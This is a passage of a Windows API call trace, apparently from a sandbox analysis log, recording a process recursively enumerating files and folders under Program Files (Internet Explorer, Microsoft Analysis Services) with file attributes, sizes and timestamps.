ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0242.044] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0242.047] GetProcessHeap () returned 0x560000 [0242.047] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) returned 1 [0242.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0242.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0242.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0242.047] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0242.048] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0242.048] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0242.048] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0242.048] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0242.048] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0242.049] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0242.049] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0242.049] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0242.049] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0242.049] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0242.050] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0242.050] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0242.050] GetProcessHeap () returned 0x560000 [0242.050] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0242.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0242.051] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.051] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0242.051] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0242.051] FindClose (in: hFindFile=0x65bd88 | out: hFindFile=0x65bd88) returned 1 [0242.051] GetProcessHeap () returned 0x560000 [0242.051] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0242.051] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0242.052] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0242.052] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0242.052] GetProcessHeap () returned 0x560000 [0242.052] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0242.052] FindNextFileW (in: hFindFile=0x593dd0, lpFindFileData=0x2fff658 | out: lpFindFileData=0x2fff658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0242.052] GetProcessHeap () returned 0x560000 [0242.053] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0242.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\*", lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0242.422] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa4d235b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa4d235b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.422] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0242.422] GetProcessHeap () returned 0x560000 [0242.422] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5cad68 [0242.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0242.423] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.423] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0242.423] GetProcessHeap () returned 0x560000 [0242.423] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b748d8 [0242.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0242.573] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.574] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0242.574] GetProcessHeap () returned 0x560000 [0242.574] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0242.574] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0242.915] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.915] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0242.915] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0242.915] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0242.916] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0242.916] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0242.917] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0242.917] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0242.917] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0242.917] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0242.917] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0242.920] GetProcessHeap () returned 0x560000 [0242.920] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: 